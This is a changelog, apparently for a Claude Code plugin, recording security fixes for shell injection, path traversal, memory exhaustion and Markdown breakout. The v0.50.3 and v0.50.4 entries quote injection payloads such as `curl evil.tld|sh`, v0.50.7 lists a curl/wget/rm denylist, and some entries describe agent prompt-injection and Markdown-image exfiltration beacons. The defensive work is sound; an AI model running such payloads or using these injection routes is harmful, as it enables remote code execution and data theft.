• Scope note — the same /ievo:deep-review pass flagged that the identical CWE-78 gh api repos/<source.repo>/contents/<source.path> pattern this PR closes for install also remains live in plugins/ievo/commands/update.md Step 2, which fetches an update using the same untrusted source.repo/source.path overlay metadata that install-protocol.md's fix writes. That's a distinct call site from #380's install-path finding — left out of scope for this PR (issue #380 scoped the fix to install-protocol.md + init/SKILL.md, mirroring the #347/#355 precedent), flagged here for a follow-up rather than silently dropped.
• Scope — confined to plugins/ievo/skills/init/references/install-protocol.md and the one-line fetch description in plugins/ievo/skills/init/SKILL.md Step 9. No script changes; no test suite applies (this module ships prose protocol, not executable code).
• Version — bump per AGENTS.md rules (fix: → patch); discover.mjs and evolution_candidates.mjs SCRIPT_VERSION, plugin.json, marketplace.json, and the AGENTS.md compliance ledger updated in lockstep. scan_repo.mjs's own SCRIPT_VERSION (scanner output-format version, intentionally decoupled from plugin.json) is unchanged — no scanner output-format change here.

---

v0.51.3

Guard scan_repo.mjs's 4 readFileSync call sites against a memory-exhaustion DoS from an oversized attacker-controlled file — closes #374.

• Gap closed — parseFrontmatter(), enumerateOnePlugin(), enumerateHooks(), and enumerateMcp() each called readFileSync(filePath, "utf-8") with no file-size check before or during the read (CWE-400). git clone --depth=1 bounds history depth, not blob size, so a single-commit repo can still carry a multi-GB SKILL.md / plugin.json / hooks.json / .mcp.json. Since scan_repo.mjs runs unattended against community-submitted repos (the ievo-ai/community-index daily refresh, plus /ievo:index-repos locally), a planted oversized file could exhaust the scanning process's memory — crashing/OOM-killing the scan, wasting CI minutes, and blocking other queued repos.
• Fix — added isOversized(path, capBytes = MAX_SCAN_FILE_BYTES) (256 KB — frontmatter/manifest files are never legitimately larger) and called it immediately before each of the 4 readFileSync sites; an oversized file short-circuits to the function's existing empty/error return shape with a factual oversized: true flag instead of being read. enumerateOnePlugin()'s manifest read surfaces the same signal as manifest_oversized: true on the returned plugin descriptor, since its return shape isn't the raw manifest object.
• Integrity — surface the skip, don't hide it — the short-circuit above computes an oversized/manifest_oversized signal but the first cut dropped it before the rendered index and the persisted manifest, so a plugin whose hooks.json / .mcp.json / SKILL.md / plugin.json was padded past the cap rendered identically to "no hooks" / has_hooks: false — silently hiding a real PreToolUse hook, MCP server, or broad allowed-tools grant behind a clean-looking entry (CWE-693). In a security index that fail-silent hiding is worse than the OOM it fixes, so the signal is now propagated: renderIndexMd() labels each unscanned surface "⚠️ unknown (not scanned, oversized)" in both the aggregate structural-signals block and the per-plugin section (and the skill's broad-bash cell renders unknown, not no), and main()'s manifest gains companion has_unscanned_hooks / has_unscanned_mcp / has_unscanned_manifest / has_unscanned_skills booleans alongside the existing has_* flags. enumerateOnePlugin() now also carries oversized: true on a skill whose SKILL.md overflowed, so allowed-tools can't be misread as a scanned "no".
• Scope — confined to plugins/ievo/scripts/scan_repo.mjs and its 100%-coverage test suite. Output for a normally-sized repo is unchanged except for the four always-present manifest booleans (all false); the "not scanned" index notes appear only when a file actually overflows the cap.
• Version — bump per AGENTS.md rules (fix: → patch); discover.mjs and evolution_candidates.mjs SCRIPT_VERSION, plugin.json, marketplace.json, and the AGENTS.md compliance ledger updated in lockstep. scan_repo.mjs's own SCRIPT_VERSION (scanner output-format version, intentionally decoupled from plugin.json) is bumped 1.1.1 → 1.1.2 — the persisted manifest gains the has_unscanned_* keys and the index gains the oversized-surface notes, a scanner output-format change.

---

v0.51.2

Fix a Bash single-quote injection in the auto-evolution correction-capture hook — closes #373.

• Gap closed — evo-auto-enable/SKILL.md's generated UserPromptSubmit hook (.ievo/hooks/scripts/correction-capture.sh) instructed the agent to record a genuine user correction by running node ${ACC} append --session ${sid} --text '<the correction in one line>', substituting the user's raw correction text into a single-quoted Bash argument with zero escaping guidance (CWE-78). Ordinary corrections routinely contain an apostrophe (e.g. "don't do that"), trivially breaking out of the quoting, and a crafted correction could chain arbitrary shell commands executed with whatever access the session already holds. Gated behind opt-in auto-evolution mode, with no confirmation gate covering this specific append action.
• Fix — added a --text-file <path> flag to evolution_candidates.mjs's append command (reads the correction from disk instead of argv; takes precedence over --text when both are given) and changed the hook's generated instruction so the agent now (1) writes the correction verbatim to a fixed path, .ievo/hooks/tmp/correction-pending.txt, via the Write tool — never Bash — then (2) runs the fixed, non-interpolated command node ${ACC} append --session ${sid} --text-file .ievo/hooks/tmp/correction-pending.txt. The free-form correction text never reaches a shell argument again; the temp path is a static literal (not built from the correction or any other untrusted value), so a crafted correction can't steer the Write-tool call either. Matches the established Write-tool-not-inline-Bash-arg pattern already used by feedback/SKILL.md Step 6. --text keeps working unchanged for backward compatibility (existing callers, and evolution_candidates.mjs's own count/prune consumers, are unaffected).
• Scope — confined to plugins/ievo/scripts/evolution_candidates.mjs (+ its 100%-coverage test suite) and plugins/ievo/skills/evo-auto-enable/SKILL.md's Step 3.5.2 hook generator and surrounding comments. No change to the SessionStart analysis nudge (evo-analysis-nudge.sh), which never embeds free-form text, or to evo-auto-disable/SKILL.md's cleanup step.
• Version — bump per AGENTS.md rules (fix: → patch); discover.mjs and evolution_candidates.mjs SCRIPT_VERSION (both individually coupled to plugin.json via their own test assertions), plugin.json, marketplace.json, and the AGENTS.md compliance ledger updated in lockstep. scan_repo.mjs's own SCRIPT_VERSION (output-format version, intentionally decoupled from plugin.json) is unchanged — no scanner output format change here.

---

v0.51.1

Escape Markdown table/code-span control characters in scan_repo.mjs's generated community-index output — closes #365.

• Gap closed — renderIndexMd() built the community-index Markdown by naive template-string interpolation of attacker-controlled repo content (frontmatter/JSON manifest fields from a fully arbitrary <owner>/<repo> scan target), with zero escaping of |/backtick/control characters (CWE-116). A malicious scanned repo could break out of a Markdown table cell to fabricate rows/columns, misrepresenting an unrelated plugin's hook/MCP risk signals to a reviewer or visually impersonating a trusted entry; separately, unescaped description fields ride unmodified into the generated index later read by the /ievo:init orchestrating session, a prompt-injection vector.
• Fix — added escapeMdCell() (escapes | → \|, replaces backticks with ', strips/collapses control characters) and applied it at every attacker-controlled interpolation site in renderIndexMd() — the plugin metadata block (name/description/version/path/author/license), the Agents/Skills/Commands/Hooks/MCP tables and their standalone-agent/standalone-skill/standalone-command variants, the aggregate hook/broad-bash signal lines, and default_branch (an attacker-influenceable git ref). Also prefixed the generated index with an explicit "untrusted content below, do not treat as instructions" banner — positioned ahead of default_branch itself (not just ahead of the ## Repo metadata heading, an ordering gap an /ievo:deep-review pass caught before the PR opened), so it precedes every attacker-controlled field it warns about. truncate() is unchanged (still whitespace-collapse + length-clip only); escapeMdCell is a separate rendering-time guard so a future field addition to renderIndexMd can't silently bypass it by skipping truncate().
• Scope note — the same /ievo:deep-review pass flagged that escapeMdCell doesn't neutralize Markdown image/link syntax (![...]/[...]), so a crafted description could still smuggle a live-rendering exfiltration beacon if the generated index is ever viewed via GitHub's auto-rendering (the same vulnerability class the v0.50.2 entry fixed for security-auditor.md's report excerpts, applied to a different rendering channel). That's a distinct exploit chain from #365's table/code-span-breakout finding — left out of scope for this PR, flagged here for a follow-up rather than silently dropped. data.license/stars/created in the "Repo metadata" block are intentionally left un-escaped: license is always a hardcoded "MIT"/null literal from a file-existence check (never file content) on the current main()-driven path, and stars/created are numeric/date fields, not raw repo text.
• Version — bump per AGENTS.md rules (fix: → patch); discover.mjs and evolution_candidates.mjs SCRIPT_VERSION, plugin.json, marketplace.json, and the AGENTS.md compliance ledger updated in lockstep. scan_repo.mjs's own SCRIPT_VERSION (scanner output-format version, intentionally decoupled from plugin.json) is also bumped 1.1.0 → 1.1.1 — this fix changes the generated .md output format (escaped cell content + new banner line), unlike the v0.50.6 precedent that left it untouched.

---

v0.51.0

Add a Cursor hooks section to hooks-setup/SKILL.md, documenting Cursor v3.11's stop/afterAgentResponse hooks — closes #367.

• Gap closed — hooks-setup/SKILL.md documented only Claude Code hooks; Cursor was never mentioned anywhere in the file despite AGENTS.md's explicit multi-platform positioning ("works on Claude Code, Cursor, Codex, ..."). Cursor v3.11 (2026-07-10) shipped "Cloud Agent Hooks", extending its stable, production hooks.json system with agent-conversation-level hook types — verified verbatim against the Cursor changelog and hooks reference.
• Fix — new references/cursor-hooks.md documents .cursor/hooks.json config scopes (Enterprise/Team/Project/User, priority order), the stop and afterAgentResponse hook types (input/output schema, closest Claude Code analogs), the stdin/stdout JSON contract and exit-code semantics (0 = success, 2 = deny, other = fail-open), a worked stop-hook example that checks iEvo's .ievo/hooks/<event> signal files and rings the terminal bell — flagging that Cursor has no PostToolUse-style path matcher, so the hook script itself must do the event filtering — and a caveat that the worked example's committed .cursor/hooks.json references a gitignored script (.ievo/hooks/), the same split hooks-setup already documents for its own Claude Code Stop hook. The skill body gains a short pointer section instead of the full content, keeping it under AGENTS.md's 500-line body guideline (was already at ~502 lines before this change; a references/ split is the established pattern used by init/references/ and consolidate/references/). compatibility frontmatter now names Cursor's hooks.json explicitly, hedged consistently with the existing Codex mention (trimmed elsewhere to stay within the 500-char spec limit). ## References gained the two Cursor citations. (First pass inlined the full section directly in the skill body; moved to references/ and two more findings addressed after an /ievo:deep-review pass before opening the PR.)
• Scope — confined to plugins/ievo/skills/hooks-setup/SKILL.md and its new references/cursor-hooks.md; documentation only, no script or test changes. Note for future work: the router's approval cited skills#155 (Codex hook types) as "already-merged" precedent for this same file — that issue is in fact still open, and hooks-setup/SKILL.md currently has no Codex section at all (only a compatibility-field mention). Not addressed here — out of scope for this Cursor-only change.
• Version — bump per AGENTS.md rules (feat: → minor, pre-1.0; adds new documented capability, matching the v0.35.0 precedent for documenting a new hook type in this same file). discover.mjs and evolution_candidates.mjs SCRIPT_VERSION, plugin.json, marketplace.json, and the AGENTS.md compliance ledger updated in lockstep. No plugins/ievo/scripts/ logic change — the 100% coverage gate is untouched.

---

v0.50.7

Replace plugins/ievo/agents/evolution.md Step 2's gh api vendor-fetch recipe with mandatory clone-then-Read/Write tool reads, and add a disallowedTools denylist — closes #366.

• Gap closed — Step 2 ("Ensure target file exists locally (vendor if needed)") instructed fetching a vendored agent/skill target's source with gh api repos/<owner>/<repo>/contents/<path> — a literal Bash command built from <owner>, <repo>, and <path>, all three tracing back to an untrusted upstream plugin repo's own tree/manifest. A git tree entry can legally contain shell metacharacters (backtick, $(), ;, |, quotes), so a malicious upstream plugin could get arbitrary shell execution the moment a routine evolution capture triggered vendoring against one of its targets. Same root cause as security-check/SKILL.md (#347), inspect/SKILL.md (#348), and evo/SKILL.md (#355), applied here to evolution.md's own vendor-fetch instruction — the sub-agent path evo/SKILL.md delegates to via Task tool. evolution.md also carried unrestricted Bash/Write/Edit with no disallowedTools denylist, unlike security-auditor.md/deep-reviewer.md/vuln-scanner.md, so a successful injection had no defense-in-depth backstop.
• Fix — Step 2 gained a "How to fetch source" subsection: validate <owner>/<repo> against GitHub's own slug charset (matching scan_repo.mjs's OWNER_REPO_RE), resolve and validate the default branch and commit sha via inspect/SKILL.md's ref allowlist, shallow-clone into a fresh mktemp -d directory, then fetch content with the Read/Write/Glob tools instead of Bash/gh api — a single file for an agent target, a Glob-enumerated tree for a skill target. Both take paths as direct parameters, never shell text, so neither a malicious <path> nor a malicious file name can reach a shell. No unsafe fallback: if cloning or resolution fails, the fetch is reported as failed, not reverted to the vulnerable recipe. Added a corresponding invariant to the Rules section. Separately, added a disallowedTools denylist to the frontmatter mirroring the sibling agents — destructive Bash(rm*|mv*|cp*|curl*|wget*|sudo*|chmod*) and WebSearch are denied, while Write/Edit stay allowed since they are this agent's core job (overlay writes, marker injection).
• Scope — confined to plugins/ievo/agents/evolution.md (frontmatter + Step 2 body + Rules section), plus a one-line update to AGENTS.md § Security model listing evolution.md among the self-enforcing sub-agents. Reuses the already-merged, reviewed pattern from #347/#348/#355 rather than inventing a new one.
• Version — bump per AGENTS.md rules (fix: → patch, edits a plugin file under plugins/ievo/**); discover.mjs and evolution_candidates.mjs SCRIPT_VERSION, plugin.json, marketplace.json, and the AGENTS.md compliance ledger updated in lockstep. No plugins/ievo/scripts/ logic change — the 100% coverage gate is untouched. v0.50.6 is claimed by the concurrently open PR #359; this takes the next free slot.

---

v0.50.5

Replace evo/SKILL.md Step 2's gh api vendor-fetch recipe with mandatory clone-then-Read/Write tool reads — closes #355.

• Gap closed — Step 2 ("Ensure target file exists locally (vendor if needed)") instructed fetching a vendor target's source with gh api repos/<owner>/<repo>/contents/<path> — a literal Bash command built from <owner>, <repo>, and <path>, all three tracing back to an untrusted upstream plugin repo's own tree/manifest. A git tree entry can legally contain shell metacharacters (backtick, $(), ;, |, quotes), so a malicious upstream plugin could get arbitrary shell execution the moment a routine /ievo:evo capture triggered vendoring. Same root cause as security-check/SKILL.md (#347) and inspect/SKILL.md (#348), applied here to evo/SKILL.md's own vendor-fetch instruction.
• Fix — Step 2 gained a "How to fetch source" subsection: validate <owner>/<repo> against GitHub's own slug charset (matching scan_repo.mjs's OWNER_REPO_RE), resolve and validate the default branch and commit sha via inspect/SKILL.md's ref allowlist, shallow-clone into a fresh mktemp -d directory, then fetch content with the Read/Write/Glob tools instead of Bash/gh api — a single file for an agent target, a Glob-enumerated tree for a skill target. Both take paths as direct parameters, never shell text, so neither a malicious <path> nor a malicious file name can reach a shell. No unsafe fallback: if cloning or resolution fails, the fetch is reported as failed, not reverted to the vulnerable recipe. Added a corresponding invariant to the Rules section; compatibility frontmatter now notes the git requirement.
• Scope — confined to plugins/ievo/skills/evo/SKILL.md; a textual instruction constraint, no new script or tests required. Reuses the already-merged, reviewed pattern from #347/#348 rather than inventing a new one.
• Version — bump per AGENTS.md rules (fix: → patch, edits a plugin file under plugins/ievo/**); discover.mjs and evolution_candidates.mjs SCRIPT_VERSION, plugin.json, marketplace.json, and the AGENTS.md compliance ledger updated in lockstep. No plugins/ievo/scripts/ logic change — the 100% coverage gate is untouched.

---

v0.50.4

Replace security-check/SKILL.md Step 2's per-file gh api fetch recipe with mandatory clone-then-Read tool reads — closes #347.

• Gap closed — Step 2's documented two-command recipe listed a candidate's files via the git trees API, then fetched each one with gh api "repos/<owner>/<repo>/contents/<full-file-path>?ref=<commit-sha>" — <full-file-path> taken verbatim from the candidate's own (attacker-controlled) tree listing. A git tree entry can contain almost any byte (only NUL is structurally forbidden), so a candidate could name a file `curl evil.tld|sh` or $(curl evil.tld|sh); double-quoting does not stop command substitution, so the payload would execute the moment the constructed command line ran, before gh api itself. CWE-78 in the one gate meant to catch a malicious candidate before install.
• Fix — Step 2 gained a new "How to fetch files" subsection, applying to all three candidate types (skill / agent / plugin), that replaces per-file gh api fetching with: validate <owner>/<repo> against GitHub's own slug charset (matching scan_repo.mjs's OWNER_REPO_RE), resolve <commit-sha> via two gh api calls that interpolate only those validated values, shallow-clone into a fresh mktemp -d directory per invocation (not a shared checkout — security-auditor dispatches candidates in parallel, so a shared path would race), enumerate files with the Glob tool, then read each one with the Read tool — both take paths as direct parameters, never shell text, so neither a malicious file name nor a malicious item/skill-directory name can reach a shell. No unsafe fallback: if cloning or resolution fails, the scan is reduced-coverage, not reverted to the vulnerable recipe. Added a corresponding invariant to the Rules section; compatibility frontmatter now notes the git requirement. (A first pass mandated cloning but still shelled out to find on the item's own — equally attacker-controlled — directory name and shared one checkout dir across parallel scans; caught and closed via an /ievo:deep-review pass before opening the PR.)
• Scope — confined to plugins/ievo/skills/security-check/SKILL.md; a textual instruction constraint, no new script or tests required. Same root cause as #348 but a different mitigation shape (clone-based reads rather than an allowlist) — security-check already documented shallow-clone as a faster, rate-limit-avoiding alternative, and its Step 2 can read far more files per candidate (up to a full plugin) than inspect's curated fetch set, so mandatory cloning is the better fit here per the original issue's own recommendation #1.
• Version — bump per AGENTS.md rules (fix: → patch, edits a plugin file under plugins/ievo/**); discover.mjs and evolution_candidates.mjs SCRIPT_VERSION, plugin.json, marketplace.json, and the AGENTS.md compliance ledger updated in lockstep. No plugins/ievo/scripts/ logic change — the 100% coverage gate is untouched.

---

v0.50.3

Validate <ref> and <path> against a strict allowlist before inspect/SKILL.md interpolates either into a gh api Bash call — closes #348.

• Gap closed — /ievo:inspect <owner>/<repo>@<ref> is designed to run pre-install on any public repo, so both the caller-supplied <ref> and, in Step 4, <path> values pulled from the target repo's own tree listing are attacker-controlled. git check-ref-format forbids control characters, spaces, and a handful of glob characters, but not backtick, $, (, ), ;, |, or quotes — a ref like main`curl evil.tld|sh` is a legal branch name that would execute as a shell command once interpolated into a double-quoted gh api "...<ref>..." string. Step 4 repeats the same pattern for <path>, sourced from the repo's own (equally attacker-controlled) tree listing.
• Fix — Step 1 now validates the resolved <ref> against an allowlist (^[A-Za-z0-9._/-]+$, no leading -, no .. or @{) before it is used in Step 2 or any later gh api call, exiting cleanly on failure. Step 4 applies the same allowlist to every <path> before it is interpolated into a contents/<path> fetch (4a-4e), skipping and noting the item in the output footer on failure rather than aborting the whole inspect. Added a corresponding invariant to the Rules section.
• Scope — confined to plugins/ievo/skills/inspect/SKILL.md; a textual instruction constraint, no new script or tests required. The companion security-check/SKILL.md finding (same root cause, tracked separately in #347) is not bundled here.
• Version — bump per AGENTS.md rules (fix: → patch, edits a plugin file under plugins/ievo/**); discover.mjs and evolution_candidates.mjs SCRIPT_VERSION, plugin.json, marketplace.json, and the AGENTS.md compliance ledger updated in lockstep. No plugins/ievo/scripts/ logic change — the 100% coverage gate is untouched.

---

v0.50.2

Neutralize markdown image/link syntax in security-auditor's public report excerpts to close a live-rendering exfiltration beacon — closes #350.

• Gap closed — security-auditor.md's RED-verdict report_template.body embedded raw, verbatim excerpt fields into a public, auto-rendering GitHub issue filed in the candidate's own repo (security-report-flow.md Step 2). GitHub renders ![...](...)/[...](...) automatically, so a crafted excerpt from the untrusted scanned candidate could smuggle a live-rendering exfiltration beacon that fires the instant anyone views the filed issue — no further agent action needed. Same vulnerability class as the 2026-07 "GitLost" disclosure (untrusted content → agent tool call → public exposure via a rendering channel), applied to gh issue create instead of an add-comment tool.
• Fix — security-auditor.md now documents an "Excerpt containment" rule: excerpts written into report_template.body must be wrapped in an inline code span (using a backtick run one character longer than any backtick run already inside the excerpt, so the excerpt can't break out of its own span) rather than embedded raw; internal-only excerpts (GREEN/YELLOW, never published) are unaffected. The same rule was propagated to security-check/SKILL.md — the canonical template security-auditor.md restates, and itself directly invokable — so a direct caller isn't left with the unpatched template. security-report-flow.md's Step 2 CRITICAL callout gained a second bullet covering the markdown-rendering risk alongside the existing shell-interpolation guard, and Step 1's preview now scans the ## Findings section for un-fenced image/link markdown and surfaces a warning before the user confirms filing (scoped to exclude the template's own static, intentionally-rendered Reviewed via [iEvo](...) footer, which would otherwise false-positive on every report), as a defense-in-depth backstop.
• Scope — plugins/ievo/agents/security-auditor.md, plugins/ievo/skills/security-check/SKILL.md, and plugins/ievo/skills/init/references/security-report-flow.md; all prose-only, no behavior change to the audit logic or the gh issue create mechanics themselves.
• Version — bump per AGENTS.md rules (fix: → patch, edits plugin files under plugins/ievo/**); discover.mjs and evolution_candidates.mjs SCRIPT_VERSION, plugin.json, marketplace.json, and the AGENTS.md compliance ledger updated in lockstep. No plugins/ievo/scripts/ logic change — the 100% coverage gate is untouched.

---

v0.50.1

Gate /ievo:update's upstream refresh behind a security re-audit when vendored content actually changed — closes #349.

• Gap closed — /ievo:update refreshed a vendored agent/skill by fetching upstream and overwriting the local copy with no re-audit of any kind, silently restoring executability (chmod +x on .sh/.py) of whatever the current upstream state happened to be. /ievo:init's security-auditor gate is install-time only; a repo/path compromised after the original audit (maintainer account takeover, malicious commit) could re-poison a previously-trusted local copy on the next refresh with zero user-visible signal.
• Fix — plugins/ievo/commands/update.md now stages the upstream fetch instead of writing it directly (Step 2), diffs it against the current local copy (new Step 2.5), and only proceeds untouched when the bytes are identical. When they differ, it dispatches a fresh security-auditor sub-agent against the current upstream state — the same GREEN/YELLOW/RED gate /ievo:init Step 8 applies at install time. GREEN applies silently; YELLOW/RED stops before anything touches disk and requires explicit AskUserQuestion confirmation, with a decline leaving the local copy and the overlay's source.commit_sha untouched so the next update re-attempts. Unchanged content is never re-scanned, so the common no-op refresh stays as cheap as before. Added Task + AskUserQuestion to the command's allowed-tools. Report (Step 6) and the Rules section updated to reflect the new re-audit states.
• Scope — confined to plugins/ievo/commands/update.md; security-auditor.md's existing <owner>/<repo>@<name> candidate-spec dispatch contract is reused as-is, no changes to the auditor itself.
• Version — bump per AGENTS.md rules (fix: → patch, edits a plugin file under plugins/ievo/**); discover.mjs and evolution_candidates.mjs SCRIPT_VERSION, plugin.json, marketplace.json, and the AGENTS.md compliance ledger updated in lockstep. No plugins/ievo/scripts/ logic change — the 100% coverage gate is untouched.

---

v0.50.0

Add a vendored /ievo:consolidate skill and teach /ievo:evo to offer extracting generalizable project.md clusters into a new skill or agent — closes #345.

• New skill — vendored /consolidate (verified byte-identical between the upstream ievo-ai/cli and ievo-ai/marketplace copies) into plugins/ievo/skills/consolidate/SKILL.md, converted to agentskills.io SKILL.md frontmatter. Preserves the original 5-phase, 3-checkpoint doc-graph consolidation flow (Discovery → Analysis → Proposal → Migration → Verification) as the default mode.
  • Adds a second, auto-detected entry-cluster mode: when the --root flag points at an iEvo overlay file (e.g. .ievo/evolution/project.md), the skill treats dated ## entries as the unit instead of files, judges (LLM reasoning, no mechanical entry-count threshold) whether 2+ entries describe the same recurring procedure or role, and — only after explicit approval at its own Checkpoint 1 (Proposal) and Checkpoint 2 (Migration) — authors a new project-local .claude/skills/<name>/SKILL.md and/or .claude/agents/<name>.md from scratch, then replaces the migrated overlay entries with a one-line redirect note. Full frontmatter templates and the registration mechanism live in the new references/package-authoring.md.
  • Nothing is ever deleted from an overlay before its Migration checkpoint is approved — matches evo/SKILL.md's existing no-silent-override philosophy.
• evo/SKILL.md — new optional Step 5.7, structurally parallel to the existing Step 5.6 (upstream-feedback offer): after every append to the project-wide overlay (.ievo/evolution/project.md), runs the same cheap cluster-judgment check and, if a generalizable cluster is found, offers via AskUserQuestion to hand off to /ievo:consolidate --root .ievo/evolution/project.md. Default is silent — no cluster, no prompt. Agent/skill-scope captures are unaffected (out of scope for this proposal). Step 6's report gained a matching "Extraction offer" line; "See also" gained a consolidate/SKILL.md entry.
• Design note — per the issue's re-triaged scope: vendoring /consolidate was explicitly in-scope (not a prerequisite issue), the package-authoring logic lives inside /consolidate itself rather than reusing /ievo:init's install step, and clustering is LLM judgment rather than a fixed >=3 threshold (dropped from the original proposal during triage).
• Version — bump per AGENTS.md rules (feat: → minor, pre-1.0; adds a new plugin skill). discover.mjs and evolution_candidates.mjs SCRIPT_VERSION, plugin.json, marketplace.json, and the AGENTS.md compliance ledger updated in lockstep. No plugins/ievo/scripts/ logic change — the 100% coverage gate is untouched.

---

v0.49.3

Fix a CWE-22 path-traversal gap in scan_repo.mjs's <owner>/<repo> argument handling — closes #339.

• Gap closed — the only validation on --repo was !args.repo.includes("/"), which accepts any string containing at least one / with no character-set restriction and no rejection of .. segments. Both places deriving a filesystem path from that argument — checkoutOrRefresh's clone-target computation and main()'s output-file naming — used the non-global, first-match-only form of String.prototype.replace("/", "-"), so a payload like ../../../../tmp/evil/payload survived mostly intact and path.join resolved the result outside the intended checkout/output directory.
• Fix — main() now validates --repo against a strict GitHub <owner>/<repo> slug (new isValidOwnerRepo/OWNER_REPO_RE), rejecting anything with extra / segments, out-of-charset characters, or an embedded .. before any path is derived. Both .replace("/", "-") call sites now use a global replace, flattening every / into one literal path segment as defense-in-depth. A new assertContained helper asserts the resolved checkout target and both output-file paths stay inside their parent directory, throwing otherwise — mirrors the allowlist-sanitizer pattern already used by evolution_candidates.mjs's sanitizeSessionId.
• Tests — added coverage for isValidOwnerRepo (valid slugs, multi-segment/traversal/oversized/malformed rejections) and assertContained (contained vs. escaping paths), plus regression tests exercising the exact reported payload through checkoutOrRefresh, main(), and the CLI entry point. scan_repo.mjs stays at 100/100/100.
• Version — bump per AGENTS.md rules (fix: → patch); discover.mjs and evolution_candidates.mjs SCRIPT_VERSION, plugin.json, marketplace.json, and the AGENTS.md compliance ledger updated in lockstep. scan_repo.mjs's own SCRIPT_VERSION (scanner output-format version) is intentionally left at 1.1.0 — this fix changes input validation and internal path safety only, not the .md/.json output format.

---

v0.49.2

Make /ievo:version's update instruction scope-aware and switch it to the claude CLI form — closes #332.

• Gap closed — Step 5's render and the Rules section hardcoded /plugin update ievo with no -s/--scope flag. -s/--scope defaults to user (per the CLI reference), so an install enabled only at project scope — one of /ievo:init's own two documented install paths — made the rendered instruction fail outright. #319/#323 (v0.47.2) fixed the plugin-naming half of this render but missed the scope dimension entirely.
• Verified empirically (claude plugin update run live during implementation, matching the issue reporter's own live tests): the bare ievo name fails regardless of scope (Plugin "ievo" not found); the fully-qualified ievo@ievo-skills form succeeds once the correct -s <scope> is passed. Also re-verified against the current commands reference (code.claude.com/docs/en/commands): the interactive /plugin command documents list, install, enable, and disable as subcommands that "act directly" on arguments — update is not among them — so the previously-rendered /plugin update ievo slash form was never a documented, direct-acting command in the first place.
• Fix — version/SKILL.md Step 5 now detects the install scope before rendering: checks .claude/settings.json (project), .claude/settings.local.json (local), then ~/.claude/settings.json (user), in that precedence order, for an enabledPlugins key matching ievo/ievo@<marketplace> with a true value, via the same read-only jq pattern the skill already uses (no new allowed-tools permission needed). Switches the recommended command from the interactive /plugin update ievo slash form to the documented, scope-aware claude plugin update ievo@ievo-skills -s <scope> CLI form; project/local-scope renders add a reminder to run it from the project root, since that scope resolves against the shell's cwd. Degrades honestly to a claude plugin list + manual-pick fallback when no scope match is found. The confidently-non-CLI branch (#328/v0.49.0) is unchanged — scope detection and the CLI form only apply to the CLI/uncertain branch.
• Scope — left the passive SessionStart version-check nudge (hooks-setup/SKILL.md Step 5.7) untouched; the issue's fix sketch scoped this to version/SKILL.md only.
• Version — bump per AGENTS.md rules (fix: → patch, edits a plugin file under plugins/ievo/**); discover.mjs and evolution_candidates.mjs SCRIPT_VERSION, plugin.json, marketplace.json, and the AGENTS.md compliance ledger updated in lockstep. No plugins/ievo/scripts/ logic change — the 100% coverage gate is untouched.

---

v0.49.1

Document CC v2.1.195's external plugin install consent gate fix as the minimum version for iEvo's dual-gate install protection — closes #264.

• Gap closed — AGENTS.md § Security model documented four model-selection bypass vectors but said nothing about install-authorization: iEvo's /ievo:init plugin path (Step 9) installs a candidate by merging extraKnownMarketplaces + enabledPlugins into .claude/settings.json — exactly the enablement path Claude Code v2.1.195 fixed a consent bug for.
• Verified against the primary source (gh api repos/anthropics/claude-code/releases/tags/v2.1.195, checked during implementation) — the release note is narrower than the initial proposal's paraphrase: it fixes "external plugins enabled only by project .claude/settings.json not requiring explicit install consent on every loader path," not a general "any external plugin install" bug. The added documentation uses this precise scope rather than the broader framing.
• Fix — added a new bullet to AGENTS.md § Security model (below the model bypass-vectors table, as its own paragraph rather than a table row — the table is model-selection-specific, this is a different concern) distinguishing iEvo's own AskUserQuestion consent gate (Step 7b/8) from CC's platform-level consent dialog, and naming Claude Code v2.1.195+ as the minimum for both gates to be active. Extended init/SKILL.md's compatibility frontmatter with a matching v2.1.195+ note, trimming other clauses in the same field to stay under the agentskills.io 500-char limit (validate_skills.mjs enforces this). README.md's "Plugin install" section documents the identical .claude/settings.json extraKnownMarketplaces + enabledPlugins mechanism, so it gets a matching one-sentence cross-reference to the AGENTS.md paragraph — following the precedent set by the prior classifyAllShell doc-drift fix (v0.47.5) of updating both docs together.
• Scope — left security-check/SKILL.md unchanged: that skill only audits candidates, it doesn't perform the install step the consent gate protects, consistent with the issue's acceptance criteria.
• Version — bump per AGENTS.md rules (fix: → patch, edits a plugin file under plugins/ievo/**); discover.mjs and evolution_candidates.mjs SCRIPT_VERSION, plugin.json, marketplace.json, and the AGENTS.md compliance ledger updated in lockstep. No plugins/ievo/scripts/ logic change — the 100% coverage gate is untouched.

---

v0.49.0

Make feedback and version client-surface-aware — closes #328.

• Feature — feedback/SKILL.md Step 3 now also infers the invoking client surface (CLI terminal / Desktop app / IDE extension / web / uncertain) and renders it as a new - Client surface: <...> line in the auto-collected ## Environment block (both flow A and flow B report formats).
• Feature — version/SKILL.md Step 5 now infers the same signal before rendering the "you're behind" message: a confidently CLI (or uncertain) session keeps today's run /plugin update ievo instruction; a confidently non-CLI session instead gets a generic check your Claude client's plugin/extension update mechanism instruction.
• Design, per the approved issue discussion — both fixes are a model-reasoning step, not a Bash/env-var read or a hardcoded tool-prefix lookup table. Live testing during the issue's research (Codex Desktop, a Claude-Desktop-style wrapper) found neither platform exposes a documented, stable "which surface" signal — both models had to infer their surface from indirect context (tool-namespace availability, capability-unavailability statements, product-identity strings). A reasoning instruction self-updates as platform internals change and degrades honestly to uncertain rather than asserting a wrong surface, so this also sidesteps feedback/SKILL.md's existing "Do NOT collect: environment variables" rule entirely — no env var is read, the rule stands untouched.
• Non-fabrication guard — version/SKILL.md never asserts a specific unverified Desktop/VS Code/JetBrains menu path for the non-CLI branch, per the issue's explicit caution; the non-CLI instruction stays generic.
• Version — bump per AGENTS.md rules (feat: → minor, pre-1.0; adds new plugin-file capability). discover.mjs and evolution_candidates.mjs SCRIPT_VERSION, plugin.json, marketplace.json, and the AGENTS.md compliance ledger updated in lockstep. No plugins/ievo/scripts/ logic change — the 100% coverage gate is untouched.

---

v0.48.0

Add zero-setup hooks: frontmatter to evo, security-check, and init for built-in completion notifications — closes #159.

• Feature — evo/SKILL.md and the evolution sub-agent it may delegate to (agents/evolution.md) each gained a PostToolUse hook that prints a one-line confirmation the moment the evolution signal file (.ievo/hooks/evolution-captured) is written; security-check/SKILL.md and init/SKILL.md each gained a Stop hook that prints a completion message when their turn ends. All four require zero configuration — no /ievo:hooks-setup run needed — and stay terminal-only (no osascript/notify-send) so they degrade identically on every platform.
